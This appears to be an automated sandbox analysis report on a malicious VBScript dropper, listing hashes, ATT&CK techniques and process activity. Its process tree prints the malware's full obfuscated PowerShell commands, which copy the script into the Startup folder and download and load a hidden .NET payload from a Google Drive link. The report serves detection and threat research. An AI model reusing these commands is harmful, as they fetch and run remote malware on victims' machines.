cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5

General

Target

cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5.vbs
Size

141KB
MD5

83e4a8c3434c580d29ca7d33cac993b7
SHA1

61d0199df0b239716b08a3921be45cb9ecc015fe
SHA256

cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5
SHA512

5fda977b553313152b0caff0d80f51225a6cd321b29398f92b2e7dcaa16c1a4bd2a1256885ca73a51232441df932564928137cad1ca6054c5cf0f5bb06c0d518
SSDEEP

3072:/irBgt5pEGw4CvaiYHdtKtbEBFFpRYJO3iYUDQ3k6GL6L1UuXD:bNFp6JO3iYgQhCO3D

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1to6BWNGH3v9BuIxnkwk_gX4W3sCxklk7

exe.dropper

https://drive.google.com/uc?export=download&id=1to6BWNGH3v9BuIxnkwk_gX4W3sCxklk7

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2688	powershell.exe
7	2688	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2644	powershell.exe
2804	powershell.exe
2688	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desvirginar.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desvirginar.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2296	cmd.exe
2924	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2924	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2644	powershell.exe
2804	powershell.exe
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1916 wrote to memory of 2296	1916	WScript.exe	30
PID 1916 wrote to memory of 2296	1916	WScript.exe	30
PID 1916 wrote to memory of 2296	1916	WScript.exe	30
PID 2296 wrote to memory of 2924	2296	cmd.exe	32
PID 2296 wrote to memory of 2924	2296	cmd.exe	32
PID 2296 wrote to memory of 2924	2296	cmd.exe	32
PID 2296 wrote to memory of 2644	2296	cmd.exe	34
PID 2296 wrote to memory of 2644	2296	cmd.exe	34
PID 2296 wrote to memory of 2644	2296	cmd.exe	34
PID 1916 wrote to memory of 2804	1916	WScript.exe	35
PID 1916 wrote to memory of 2804	1916	WScript.exe	35
PID 1916 wrote to memory of 2804	1916	WScript.exe	35
PID 2804 wrote to memory of 2688	2804	powershell.exe	37
PID 2804 wrote to memory of 2688	2804	powershell.exe	37
PID 2804 wrote to memory of 2688	2804	powershell.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.ranigrivsed.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2296
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.ranigrivsed.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNoZUxsaWRbMV0rJFNoZUxsaURbMTNdKyd4JykgKCgnSUhhaW1hZ2VVcmwgPSAwWThodHRwczovJysnL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTF0bzZCVycrJ05HSDN2OUJ1SXhuaycrJ3drX2dYNFczc0N4a2wnKydrNyAwWTg7SUhhd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXMnKyd0ZW0uTmV0LicrJ1dlYkNsaWVudDtJSGFpbWFnZUJ5dGVzJysnID0gSUhhd2ViQ2xpZW50LkRvd25sb2FkRGF0YScrJyhJSGFpbWFnZVVybCk7SUhhaW1hZ2VUZXh0ID0gW1N5cycrJ3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdCcrJ3JpbmcoSUhhaW1hZ2VCeXRlcyk7SUhhc3RhcnRGbGFnID0gMFk4PDxCQVNFNjRfU1RBUlQ+PjBZOCcrJztJSGFlbmRGbGFnID0gMFk4PDxCQVNFNjRfRU5EPj4wWScrJzg7SUhhc3RhcnRJbmRlJysneCA9IElIYWltYWdlVGV4dC5JbmRleE9mKElIYXN0YXJ0RmxhZyk7SUhhZW5kSW5kZXggPSBJSGFpbWFnZVRleHQuSW5kZXhPZihJSGFlbmRGbGFnKTtJSGFzdGFydEluZGV4IC1nZSAwIC1hbmQgSUhhZW5kSW5kZXggLWd0IElIYXN0YXJ0SW5kZXg7SUhhc3RhcnRJbmRleCArPSBJSGFzdGFydEZsYWcuTGVuZ3RoO0lIYWJhc2U2NExlbmd0aCA9IElIYWVuZEluZGV4IC0gSScrJ0hhc3RhcnRJbmRleDtJSGFiYXNlNjRDb21tYW5kJysnICcrJz0gSUhhaW0nKydhZ2VUZXh0LlN1YnN0cmluZyhJSGFzdGFydEluZGV4LCBJSGFiYXNlNjRMZW5ndGgpO0lIYWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKElIYWJhc2U2NENvbW1hbmQuVG8nKydDaGFyJysnQXJyYScrJ3koKSAyVHcgRm9yRWEnKydjaC1PYmplY3QgeyBJSGFfIH0pWy0xLi4tJysnKElIYWJhc2U2NCcrJ0NvbW1hbmQuTGVuZ3RoKV07SUhhY29tbWFuZEJ5dGVzID0nKycgW1N5c3RlbS5Db252ZXInKyd0XTo6RnJvbUJhc2U2NFN0cmluZyhJSGFiYXNlNjRSJysnZXZlcnNlZCk7SUhhbG9hZGVkQScrJ3MnKydzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKElIYWNvbW1hbmRCeXRlcyk7SUhhdmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdlJysndE1ldGhvZCgwWThWQScrJ0knKycwWTgpO0lIYXZhaU1ldGhvZC5JbnZva2UoSUhhbnVsbCwgQCgwWTh0eHQub2NzaUMvcmguZWVyZi5uZScrJ2dhdGFkdGZvcy50cm9wcHVzLW5lZXJjcy8vOnNwdHRoMFk4LCAwWThkZXNhdGl2YWRvMCcrJ1k4LCAwWThkZXNhdGl2YWRvMFk4LCAwWThkZXNhdGl2YWRvMFk4LCAwWThBcHBMYXVuY2gwWTgsIDBZOGRlc2F0aXZhZG8wWTgsIDBZOGRlc2F0aXZhZCcrJ28nKycwWTgsMFk4ZGVzYXRpdmFkbzBZOCwwWThkZXNhdGl2YWRvMFk4LDBZOGRlc2F0aXZhZG8wWTgsMFk4ZGVzYXRpdmFkbzBZOCwwWThkZXNhdGl2YWRvMFk4LDBZODEwWTgsMFk4ZGVzYScrJ3RpdmFkbzBZOCcrJykpOycpLlJlUExBY0UoJzBZOCcsW1N0cmlOR11bQ0hBUl0zOSkuUmVQTEFjRSgoW0NIQVJdNzMrW0NIQVJdNzIrW0NIQVJdOTcpLCckJykuUmVQTEFjRSgnMlR3JyxbU3RyaU5HXVtDSEFSXTEyNCkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sheLlid[1]+$SheLliD[13]+'x') (('IHaimageUrl = 0Y8https:/'+'/drive.google.com/uc?export=download&id=1to6BW'+'NGH3v9BuIxnk'+'wk_gX4W3sCxkl'+'k7 0Y8;IHawebClient = New-Object Sys'+'tem.Net.'+'WebClient;IHaimageBytes'+' = IHawebClient.DownloadData'+'(IHaimageUrl);IHaimageText = [Sys'+'tem.Text.Encoding]::UTF8.GetSt'+'ring(IHaimageBytes);IHastartFlag = 0Y8<<BASE64_START>>0Y8'+';IHaendFlag = 0Y8<<BASE64_END>>0Y'+'8;IHastartInde'+'x = IHaimageText.IndexOf(IHastartFlag);IHaendIndex = IHaimageText.IndexOf(IHaendFlag);IHastartIndex -ge 0 -and IHaendIndex -gt IHastartIndex;IHastartIndex += IHastartFlag.Length;IHabase64Length = IHaendIndex - I'+'HastartIndex;IHabase64Command'+' '+'= IHaim'+'ageText.Substring(IHastartIndex, IHabase64Length);IHabase64Reversed = -join (IHabase64Command.To'+'Char'+'Arra'+'y() 2Tw ForEa'+'ch-Object { IHa_ })[-1..-'+'(IHabase64'+'Command.Length)];IHacommandBytes ='+' [System.Conver'+'t]::FromBase64String(IHabase64R'+'eversed);IHaloadedA'+'s'+'sembly = [System.Reflection.Assembly]::Load(IHacommandBytes);IHavaiMethod = [dnlib.IO.Home].Ge'+'tMethod(0Y8VA'+'I'+'0Y8);IHavaiMethod.Invoke(IHanull, @(0Y8txt.ocsiC/rh.eerf.ne'+'gatadtfos.troppus-neercs//:sptth0Y8, 0Y8desativado0'+'Y8, 0Y8desativado0Y8, 0Y8desativado0Y8, 0Y8AppLaunch0Y8, 0Y8desativado0Y8, 0Y8desativad'+'o'+'0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y810Y8,0Y8desa'+'tivado0Y8'+'));').RePLAcE('0Y8',[StriNG][CHAR]39).RePLAcE(([CHAR]73+[CHAR]72+[CHAR]97),'$').RePLAcE('2Tw',[StriNG][CHAR]124) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
5f8edf5a2d9a3227cb0e3187b382cb50

SHA1
e239ea71f3b447d03b9046da115a5e89ca2cf71d

SHA256
af4ada683bbff8c289ebae0db120f541261893e58e101d43e102be648bd71c86

SHA512
608d09be55df7da467a5dacdd01b8f91dff55613303c1617f943cf495c7a78e6a0786f41f385f5f1559d68dab2411765060319927231f485c7fca35045f0d5a9

Download Submit
memory/2644-5-0x000007FEF564E000-0x000007FEF564F000-memory.dmp

Filesize
4KB

Download
memory/2644-6-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/2644-7-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/2644-8-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2644-9-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2644-10-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2644-11-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2644-12-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2804-18-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/2804-19-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download

Analysis

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